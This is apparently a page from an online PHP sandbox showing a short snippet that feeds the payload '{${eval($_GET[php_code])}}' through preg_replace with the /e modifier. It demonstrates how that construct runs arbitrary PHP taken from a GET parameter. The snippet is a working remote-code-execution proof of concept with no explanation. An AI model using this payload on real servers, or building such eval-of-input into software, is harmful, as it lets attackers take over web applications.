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run code in 300+ PHP versions simultaneously
<?php $html = '<h1>{${eval($_GET[php_code])}}</h1>'; // uppercase headings $html = preg_replace( '(<h([1-6])>(.*?)</h\1>)e', '"<h$1>" . strtoupper("$2") . "</h$1>"', $html );

preferences:
59.12 ms | 402 KiB | 5 Q